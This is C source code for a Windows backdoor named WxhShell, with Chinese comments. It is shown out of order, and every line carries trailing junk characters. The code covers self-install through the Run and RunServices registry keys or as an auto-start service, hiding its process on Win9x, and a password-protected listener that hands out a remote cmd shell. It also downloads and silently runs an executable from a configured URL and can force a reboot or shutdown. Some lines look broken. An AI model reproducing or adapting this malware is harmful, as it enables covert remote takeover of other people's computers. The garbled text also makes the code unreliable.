    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )g@+ MR  
    if(Boot(SHUTDOWN)) rI$NNk'A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _&-d0'+  
    else { v'hc-Q9+>  
    closesocket(wsh); 0D,@^vw bK  
    ExitThread(0); v2;E Wp  
    } 'zUV(K?2]  
    break; |m's)  
    } OJe!K:  
  // 获取shell ]9YA~n\  
  case 's': { </25J((  
    CmdShell(wsh); 9y!0WZE{e  
    closesocket(wsh); ]+I9{%zB%8  
    ExitThread(0); 9lq5\ tL-  
    break; .z#eYn% d  
  } }; '@'   
  // 退出 B:"D)/\  
  case 'x': { 7NvKp inQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gv67+Mf  
    CloseIt(wsh); 9Q9{>d#"  
    break; ("a@V8M`$F  
    } T_*inPf  
  // 离开 N@|<3R!N*e  
  case 'q': { 2;Z 0pPR&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r?DCR\Jq  
    closesocket(wsh); 'l'3&.{Yfk  
    WSACleanup(); :ts3_-cr  
    exit(1); O\<zQ2m  
    break; T,!EL +o4  
        } %"{P?V<-V  
  } mqZK1<r  
  } hV@ N -u^  
ZUI6VM  
  // 提示信息 ZxtO.U2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v< P0f"GH  
} ta?NO{*  
  } `4K|L6  
9 dNB _  
  return; ,b5'<3\  
} t'2A)S  
BH'*I yv  
// shell模块句柄 qm=U<'b^  
int CmdShell(SOCKET sock) h3`}{ w  
{ ,>B11Z}PH  
STARTUPINFO si; Z )c\B  
ZeroMemory(&si,sizeof(si)); Ck/44Wfej  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fTj@/"a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gXI-{R7Me  
PROCESS_INFORMATION ProcessInfo; 'HW l_M  
char cmdline[]="cmd"; cX9o'e:C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tx} Nr^   
  return 0; JMB#KzvN[  
} XZ%[;[  
1'f_C<.0  
// 自身启动模式 |:C0_`M9  
int StartFromService(void) s)WA9PiC  
{ ~\am%r>  
typedef struct RG'iWA,9m`  
{ &5y  
  DWORD ExitStatus; ^}P94(oz  
  DWORD PebBaseAddress; (7qlp*8.s  
  DWORD AffinityMask; nXn@|J&z~U  
  DWORD BasePriority; 3(oMASf  
  ULONG UniqueProcessId; AFi_P\X  
  ULONG InheritedFromUniqueProcessId; J$6WUz:?  
}   PROCESS_BASIC_INFORMATION; xn`)I>v  
d92Z;FWb  
PROCNTQSIP NtQueryInformationProcess; }-fHS;/  
BWxfY^,'&6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O7 ;=g!j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l 73% y  
H~yHSm 3  
  HANDLE             hProcess; ?pZ"7kkD  
  PROCESS_BASIC_INFORMATION pbi; 1Le8W)J  
gnH {_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VzXVy)d  
  if(NULL == hInst ) return 0; 4FzTf7h^  
9D14/9*(dU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~Eg]Auk7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E_~e/y"-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CT'4.  
g(pr.Dw6  
  if (!NtQueryInformationProcess) return 0; (#y2R F8j  
g7! LX[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C<_\{de|9  
  if(!hProcess) return 0; xT 06*wQ  
&pY '  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }Nr6oUn  
XncX2E4E  
  CloseHandle(hProcess); <r,5F:  
W(]A^C=/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kSV(T'#x  
if(hProcess==NULL) return 0;  _".h(  
{ENd]@N*  
HMODULE hMod; :#g.%&  
char procName[255]; fNLO%\G~2  
unsigned long cbNeeded; (nQm9 M(  
poAJl;T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZV--d'YiEm  
sgO au\E  
  CloseHandle(hProcess); E#_/#J]UQn  
XQ=%a5w  
if(strstr(procName,"services")) return 1; // 以服务启动 dm}1"BU<  
lW5Lwyt8  
  return 0; // 注册表启动 {> ,M  
} )jXKPLj  
:h(RS ;  
// 主模块 i[[.1MnS  
int StartWxhshell(LPSTR lpCmdLine) (nO2+@ !  
{ E"'u2jEG^  
  SOCKET wsl; -Kg.w*\H7/  
BOOL val=TRUE; aB6/-T+ u  
  int port=0; f_)#  
  struct sockaddr_in door;  el2Wk@*  
&?y@`',a0{  
  if(wscfg.ws_autoins) Install(); Ub\^3f  
w<H2#d>5!@  
port=atoi(lpCmdLine); w=]A;GgA  
[z"E"_r~%Y  
if(port<=0) port=wscfg.ws_port; ?;o0~][!  
4L,wBce;,t  
  WSADATA data; - BWf.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )Wle CS_  
R]yce2w"z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VHPqEaR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eGT&&Y  
  door.sin_family = AF_INET; kBqgz| jE%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ye]K 74M.  
  door.sin_port = htons(port); lD0a<L 3  
!D F~]&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6fw7\u  
closesocket(wsl); C!:Lk,Z  
return 1; j*>Df2z  
} ]*P9=!x|M  
gHc1_G]  
  if(listen(wsl,2) == INVALID_SOCKET) { ;:Z5Ft m  
closesocket(wsl); iT:i '\~  
return 1; ]2l}[ w71|  
} &Z>??|f  
  Wxhshell(wsl); `Njvk  
  WSACleanup(); YCE *Dm  
$VQ;y|K+[  
return 0; DTH}=r-  
LpY{<:y  
} ^~N:lW#=  
tm/ >H  
// 以NT服务方式启动 AmC9qk8Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [R1|=kGU  
{ qqo#H O  
DWORD   status = 0; l$1?@l$j  
  DWORD   specificError = 0xfffffff; ?,x\46]>_K  
~]?s A{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SW%}S*h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5eL b/,R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y2tVq})!  
  serviceStatus.dwWin32ExitCode     = 0; QuEX|h,F  
  serviceStatus.dwServiceSpecificExitCode = 0; C9?mxa*z  
  serviceStatus.dwCheckPoint       = 0; EVLL,x.~:z  
  serviceStatus.dwWaitHint       = 0; w0;4O)H$O  
7[P-;8)tq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N {{MMIq  
  if (hServiceStatusHandle==0) return; L4B/ g)K  
Mi#i 3y(  
status = GetLastError(); bvJ@H Z$  
  if (status!=NO_ERROR) XYR q"{Id  
{ zWU]4;,"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Uhr2"Nuuy  
    serviceStatus.dwCheckPoint       = 0; $)@D(m,ybd  
    serviceStatus.dwWaitHint       = 0; rR":}LA^d  
    serviceStatus.dwWin32ExitCode     = status; JwxKWVpWv  
    serviceStatus.dwServiceSpecificExitCode = specificError; kJl^,q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !&Q?ASJH  
    return; Eoixw8hz  
  } 4Cu\|"5)  
$b2~Wj*-nJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]e),#_M  
  serviceStatus.dwCheckPoint       = 0; "p3<-06  
  serviceStatus.dwWaitHint       = 0; %y9sC1T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cH*")oD  
} [ KgO:},c  
OS`jttU@  
// 处理NT服务事件,比如:启动、停止 l'q%bi=f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sgP{A}4 W  
{ hDTC~~J/  
switch(fdwControl) .]h/M,xg  
{ lCUYE"o  
case SERVICE_CONTROL_STOP:  !AJkd.  
  serviceStatus.dwWin32ExitCode = 0; f6K.F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qJT/4 8lf_  
  serviceStatus.dwCheckPoint   = 0; fQC{Lc S  
  serviceStatus.dwWaitHint     = 0; awo'#Y2>  
  { *<S>PbqLw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); , @UOj=  
  } +kd1q  
  return; I;"pPJ3G  
case SERVICE_CONTROL_PAUSE: d'Bxi"K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8#JX#<HEo  
  break; TW>GYGz  
case SERVICE_CONTROL_CONTINUE: w!H(zjv&(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >i*,6Psl[Z  
  break; JDR_k  
case SERVICE_CONTROL_INTERROGATE: Uc:NW   
  break; e(/F:ZEh  
}; !@ ]IJ"\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *GoTN  
} ssLswb  
>w<w*pC  
// 标准应用程序主函数 @%x2d1FS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nS3Aadm  
{ d/yF}%0QI  
NjZ~b/  
// 获取操作系统版本 ^wWbW&<Tg  
OsIsNt=GetOsVer(); O=+$X Pa|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L$3lsu!4n  
R 39_!  
  // 从命令行安装 XfE9QA[  
  if(strpbrk(lpCmdLine,"iI")) Install(); R+NiIoa  
Ws|`E `6O  
  // 下载执行文件 P #! N  
if(wscfg.ws_downexe) { gZ^Qt.6Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QPB,B>Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;$&\ :-6A#  
} 2kDY+AN;  
F4G81^H  
if(!OsIsNt) { PlH~um[J  
// 如果时win9x,隐藏进程并且设置为注册表启动 -!_8>r;Q4  
HideProc(); Kw`CN  
StartWxhshell(lpCmdLine); BZ:tVfg.  
} 131(0nl)=I  
else xrvM}Il  
  if(StartFromService()) 1Zn8CmE V  
  // 以服务方式启动 R`c[ ?U  
  StartServiceCtrlDispatcher(DispatchTable); DNq(\@x[!  
else s*la`(x  
  // 普通方式启动 l[:Aq&[o3  
  StartWxhshell(lpCmdLine); >-N(o2j3  
M{5AQzvs  
return 0; R]X 0D.  
} vb]kh _  
uEJ8Lmi  
xA(z/%  
lh'S_p8g  
=========================================== y8s!sO  
_xv3UzD  
exhU!p8  
@T\n@M]  
_Z[0:4  
z5$Q"Y.D  
" A`Dx]y  
HQm_ K0$  
#include <stdio.h> ?MRY*[$  
#include <string.h> p}JOiiHa  
#include <windows.h> I<940PZ  
#include <winsock2.h> Tp;W4]'a*:  
#include <winsvc.h> 4{kH;~ z$  
#include <urlmon.h> ~i;{+j6Ho!  
t([}a ~1}  
#pragma comment (lib, "Ws2_32.lib") e9[72V  
#pragma comment (lib, "urlmon.lib") J;obh.}u"{  
c$V5E t  
#define MAX_USER   100 // 最大客户端连接数 [y@*vQw  
#define BUF_SOCK   200 // sock buffer a,vS{434J  
#define KEY_BUFF   255 // 输入 buffer iv$YUM+  
+v;z^+  
#define REBOOT     0   // 重启 ;WSW&2  
#define SHUTDOWN   1   // 关机 &t9 V  
=p'+kS+  
#define DEF_PORT   5000 // 监听端口 JnsJ]_<  
r+Ki`HD%  
#define REG_LEN     16   // 注册表键长度 pc*)^S  
#define SVC_LEN     80   // NT服务名长度 "wOfs$w%s  
4`#Q  
// 从dll定义API uem-fTG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ).5 X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NV4g5)D&L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tsc `u>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >l &]Ho  
Y'|,vG  
// wxhshell配置信息 y+ze`pL?  
struct WSCFG { [oTe8^@[  
  int ws_port;         // 监听端口 !G;u )7'v  
  char ws_passstr[REG_LEN]; // 口令 {o24A: M  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^-Od*DTL  
  char ws_regname[REG_LEN]; // 注册表键名 .}!.4J%q2  
  char ws_svcname[REG_LEN]; // 服务名 7_i8'(``  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Kb?{^\FiU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~'_cBJ 'XD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;yJ:W8U]+;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o]oiJvOr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d5m -f/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k|)fl l  
?A3L8^tR  
}; %rptI$^*X  
_f[Q\gK  
// default Wxhshell configuration XH!#_jy  
struct WSCFG wscfg={DEF_PORT, KR aL+A  
    "xuhuanlingzhe", LQR2T5S/Q,  
    1, 4qie&:4j  
    "Wxhshell", F]3Y,{/V  
    "Wxhshell", s7Agr!>f  
            "WxhShell Service", B`}um;T#~,  
    "Wrsky Windows CmdShell Service", P'Rw/c o  
    "Please Input Your Password: ", NGc~%0n  
  1, Z[. M>|  
  "http://www.wrsky.com/wxhshell.exe", o&q>[c  
  "Wxhshell.exe" E]`7_dG+T  
    }; }sXTZX  
+x"uP  
// 消息定义模块 FRd"F$U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^AP8T8v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X .t4;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q?(] Y*  
char *msg_ws_ext="\n\rExit."; Yb+A{`  
char *msg_ws_end="\n\rQuit."; OT{"C"%5t  
char *msg_ws_boot="\n\rReboot..."; *1dDs^D#|  
char *msg_ws_poff="\n\rShutdown..."; ~sk p}g]  
char *msg_ws_down="\n\rSave to "; v=N?(6T  
GDxv2^4  
char *msg_ws_err="\n\rErr!"; A8Ju+  
char *msg_ws_ok="\n\rOK!"; glMHT,  
Ha@; Sz<R  
char ExeFile[MAX_PATH]; 5BhR4+1J  
int nUser = 0; iQ/~?'PB  
HANDLE handles[MAX_USER]; +"?+Be  
int OsIsNt; o <q*3L5  
7PY$=L48A  
SERVICE_STATUS       serviceStatus; 2zTi/&K&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <sH}X$/  
!$Nj!  
// 函数声明 #V!a<w4_  
int Install(void); KrE 'M  
int Uninstall(void); ntW@Fm:bw>  
int DownloadFile(char *sURL, SOCKET wsh); 9|+6@6VY!  
int Boot(int flag); mOE *[S)  
void HideProc(void); 3"y 6|e/5  
int GetOsVer(void); ! xCo{U=  
int Wxhshell(SOCKET wsl); UD.b b  
void TalkWithClient(void *cs); r`O Yq  
int CmdShell(SOCKET sock); 75^6?#GS  
int StartFromService(void); W:d p(,L  
int StartWxhshell(LPSTR lpCmdLine); A'|!O:s   
eM5?fE&!&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zzlf1#26\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ nsb  
MYAt4cHc2  
// 数据结构和表定义 (@1:1K(   
SERVICE_TABLE_ENTRY DispatchTable[] = o<`hj&s  
{ =gB5JB<}2  
{wscfg.ws_svcname, NTServiceMain}, `geHSx_  
{NULL, NULL} ]\78(_o.zz  
}; rJ!cma  
Z3`EXs  
// 自我安装 UnhVppnex  
int Install(void) 3A#Tn7  
{ GShxPH{_j  
  char svExeFile[MAX_PATH]; -JMn?]  
  HKEY key; fvkcJwkc  
  strcpy(svExeFile,ExeFile); ;5Sdx5`_  
*G19fJ[5  
// 如果是win9x系统,修改注册表设为自启动 $]2)r[eA)  
if(!OsIsNt) { Y2H-D{a27  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r\Nfq(w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CXlbtpK2k  
  RegCloseKey(key); qkb'@f=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NX @FUct;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z>rY9VvWD  
  RegCloseKey(key); nr!N%Hi  
  return 0; g52a vG  
    } L44m!%q  
  } %MHb  
} U&5* >fd=  
else { Kgbm/L0XR*  
XjX  
// 如果是NT以上系统,安装为系统服务 /)P}[Q4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AYts &+  
if (schSCManager!=0) isQ(O  
{ 'YL[s  
  SC_HANDLE schService = CreateService FwCb$yE#M  
  ( @YJI'Hf67  
  schSCManager, (f#(B2j  
  wscfg.ws_svcname, =*mT{q@  
  wscfg.ws_svcdisp, ~ Z\:Nx  
  SERVICE_ALL_ACCESS, =6%oW2E\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 22\!Z2@T/  
  SERVICE_AUTO_START, EYAaK^ &  
  SERVICE_ERROR_NORMAL, kBu{ bxL  
  svExeFile, oaoTd$/5  
  NULL, /R)wM#&  
  NULL, Tg\bpLk0=  
  NULL, YDt+1Kw}D  
  NULL, y>^a~}Zq  
  NULL jwZ,_CK  
  ); 0I&k_7_   
  if (schService!=0) OmYVJt_  
  { V2MOD{Maat  
  CloseServiceHandle(schService); W'lqNOX[v  
  CloseServiceHandle(schSCManager); 0 'QWa{dS\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P15 H[<:Fz  
  strcat(svExeFile,wscfg.ws_svcname); CD|[PkjW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "LMj,qZ1!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T<AT&4  
  RegCloseKey(key); 4fEDg{T  
  return 0; }cKB)N BJb  
    } pfA6?tP`  
  } zkQ[<  
  CloseServiceHandle(schSCManager); +X}i%F'  
} {z#2gc'Q  
} #/)t]&n  
C8N)!5(A  
return 1; 1yy?1&88S  
} i|YS>Pw~j  
mgs(n5V5  
// 自我卸载 +.G"ool  
int Uninstall(void) s{hKl0ds  
{ jlEz]@ i  
  HKEY key; ()3\(d5e  
'rQ"Dc1D  
if(!OsIsNt) { v3tJtb^'!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bOS)vt*V  
  RegDeleteValue(key,wscfg.ws_regname); MK$u }G  
  RegCloseKey(key); Tb/TP3N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M>8J_{r^  
  RegDeleteValue(key,wscfg.ws_regname); I[ \~ pi,  
  RegCloseKey(key); UM}u(;oo%)  
  return 0; }pc9uvmIJ  
  } APQq F/  
} =OVDJ0ozZ  
} 8)i""OD@I  
else { g?C;b>4  
Jd2.j?P=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s27IeF3  
if (schSCManager!=0) hsZ/Vnn`  
{ 39pG-otJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L * n K> +  
  if (schService!=0) =bVPHrKNQ  
  {  >@ t  
  if(DeleteService(schService)!=0) { G dgL}"*F  
  CloseServiceHandle(schService); F MfpjuHk  
  CloseServiceHandle(schSCManager); t^t% >9o  
  return 0; Wboh2:TH:  
  } k4TWfl^}9  
  CloseServiceHandle(schService); D:)Wr, 26  
  } I`>U#x*  
  CloseServiceHandle(schSCManager); v9$!v^U"D  
} rr<E#w  
} yU$ MB,1  
S}m_XR]  
return 1; G=dzP}B'WA  
} $Y$9]G":  
#el27"QP0  
// 从指定url下载文件 NE995;  
int DownloadFile(char *sURL, SOCKET wsh) iyskADS  
{ s?SspuV  
  HRESULT hr; >4 OXG7.&f  
char seps[]= "/";  ao(T81  
char *token; ~MpikBf  
char *file; %|Ps|iV  
char myURL[MAX_PATH]; k3\N.@\  
char myFILE[MAX_PATH]; D}-.<  
98m|&7  
strcpy(myURL,sURL); =;}W)V|X)S  
  token=strtok(myURL,seps); |(7}0]BP0  
  while(token!=NULL) nK&]8"  
  { ~j0rORy]  
    file=token; !-gU~0  
  token=strtok(NULL,seps); ,Q`qnn&  
  } K*6"c.D  
So:X!ljN(e  
GetCurrentDirectory(MAX_PATH,myFILE); >}5?`.K~Q*  
strcat(myFILE, "\\"); X/!_>@`7?  
strcat(myFILE, file); xad`-vw  
  send(wsh,myFILE,strlen(myFILE),0); Jh[0xb  
send(wsh,"...",3,0); Onmmcem  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bd>~F7VWs  
  if(hr==S_OK) V\V /2u5-  
return 0; [ oWkd_dK  
else Bqx5N"  
return 1; >1y6DC  
?ukw6T  
} ?Ua,ba*  
en<mm#Ab  
// 系统电源模块 Lu.zc='\  
int Boot(int flag) UHBXq;?&q  
{ K^- 1M?  
  HANDLE hToken; Io6/Fv>!  
  TOKEN_PRIVILEGES tkp; f| RmAP;X,  
{.Tx70kn  
  if(OsIsNt) { ^l &lwSRVt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6( HF)z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UD I{4+z  
    tkp.PrivilegeCount = 1; n:j'0WW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %>_[b,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J3 $>~?^1  
if(flag==REBOOT) { tDByOml8Ix  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -[>de! T3$  
  return 0; ]`^! ]Ql  
} M  .#}  
else { $JE,u' JQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !(s n9z#  
  return 0; e3~MU6  
} a6p0_-MF  
  }  0^;2  
  else { -@To<<`n  
if(flag==REBOOT) { f%Q)_F[0D4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _ _Of0<  
  return 0; =KRM`_QShg  
} TS<d?:  
else { jnH\}IB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XxqGsGx4  
  return 0; ZsGvv]P  
} (Wzp sDte  
} ju~$FNt8R  
&$"#hGg  
return 1; Lp`.fn8Ln  
} x`CjFaE~F  
Z9{~t  
// win9x进程隐藏模块 Hq@+m!  
void HideProc(void) !oLn=  
{ :uL<UD,vu3  
;m/e|_4;y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _k84#E0  
  if ( hKernel != NULL ) O&%'j  
  { +ikSa8)*i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %L|fTndKH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H R>Y?B{  
    FreeLibrary(hKernel); p8Vqy-:  
  } fHt\KP  
'K[ml ?_  
return; oqrx7 +0{  
} <'y<8gpM  
}\4yU=JP K  
// 获取操作系统版本 24sMX7Q,i  
int GetOsVer(void) *X5)9dq  
{ Pz4#>tP  
  OSVERSIONINFO winfo; %"RJi?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^'UM@dd?!  
  GetVersionEx(&winfo); N['DqS =  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 43=v2P0=Tj  
  return 1; !pU$'1D  
  else fI.|QD*$b  
  return 0; Y2|i>5/|<  
} 9#8vPjXW}.  
)>a~%~:  
// 客户端句柄模块 RQ+,7Ir  
int Wxhshell(SOCKET wsl) !V|{(>+<  
{ (m]l -Re  
  SOCKET wsh; 8PI%Z6  
  struct sockaddr_in client; d)%WaM%V  
  DWORD myID; SX4*804a_  
A#U! KX  
  while(nUser<MAX_USER) Koa9W >!  
{ )e(<YST  
  int nSize=sizeof(client); A;AQw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mxNd  
  if(wsh==INVALID_SOCKET) return 1; x#{!hL 5G  
5K vp%   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +Z`=iia>  
if(handles[nUser]==0) #UGSn:D<i  
  closesocket(wsh); 6<&~ R 3dQ  
else $4bc!  
  nUser++; InPE_  
  } +p u[JHF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O&!R7T  
/t5)&  
  return 0; T(|'.&a  
} S-t#d7'B  
y r (g/0  
// 关闭 socket ~nZcA^b#DQ  
void CloseIt(SOCKET wsh) +C~h(  
{ @yp0WB  
closesocket(wsh); <q63?Ms'  
nUser--; #W\}v(Ke  
ExitThread(0); NuZ2,<~9  
} Dfs^W{YA  
=VC18yA  
// 客户端请求句柄 I}f`iBG  
void TalkWithClient(void *cs) @SfQbM##%  
{ IDct!53~  
k 9i W1  
  SOCKET wsh=(SOCKET)cs; :EX>Y<`]  
  char pwd[SVC_LEN]; fWHvVyQ.  
  char cmd[KEY_BUFF]; 17hoX4T  
char chr[1]; ZTmy}@l  
int i,j; s'HsLe0|  
<J509j  
  while (nUser < MAX_USER) { Ak[X`e T  
{FI zoR"  
if(wscfg.ws_passstr) { )uqzu%T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rPH7 ]]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i>M%)HN  
  //ZeroMemory(pwd,KEY_BUFF); aZ@pfWwa:  
      i=0; 9r%fBiSk  
  while(i<SVC_LEN) { "i&)+dr-  
B{Q}^Mcxy  
  // 设置超时 <rC%$tr  
  fd_set FdRead; U>tR:)  
  struct timeval TimeOut; ]4aPn  
  FD_ZERO(&FdRead); s`yzeo  
  FD_SET(wsh,&FdRead); w8lrpbLh  
  TimeOut.tv_sec=8; zx@!8Z  
  TimeOut.tv_usec=0; <G pji5f2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $dfc@Fn^x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T//xxH]w-  
kn3w6]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RELNWr  
  pwd=chr[0]; <4rnOQ:  
  if(chr[0]==0xd || chr[0]==0xa) { |E+.y&0;  
  pwd=0; C?qRZB+W#  
  break; /@:X0}L  
  } >n7h%c  
  i++; P2n8HFi  
    } cSL6V2F  
*\ii +f-  
  // 如果是非法用户,关闭 socket I`_2Q:r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); - 2)k!5X=  
} Jg#0g eU  
i(~DhXz*T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #j2kT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k>&cHCS`*  
=.`\V]  
while(1) { 7@@g|l]  
gvP-doA7W  
  ZeroMemory(cmd,KEY_BUFF); N~/ 'EaO  
=3-=p&*  
      // 自动支持客户端 telnet标准   3IYFvq~  
  j=0; kf@JEcKV  
  while(j<KEY_BUFF) { 1PY]Q{r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zPnb_[YF  
  cmd[j]=chr[0]; aRTy=~  
  if(chr[0]==0xa || chr[0]==0xd) { 're:_;lG  
  cmd[j]=0; FJn-cR.n  
  break; o~$O$  
  }  Bx45yaT  
  j++; A]c'T T@6  
    } bM?gAY]mB8  
7O1MC 8{  
  // 下载文件 '$FF/|{  
  if(strstr(cmd,"http://")) { ] SJ#:7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7z? ;z<VJ  
  if(DownloadFile(cmd,wsh)) |d0ZB_ci  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B*tYp  
  else c64^u9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @)>Z+g  
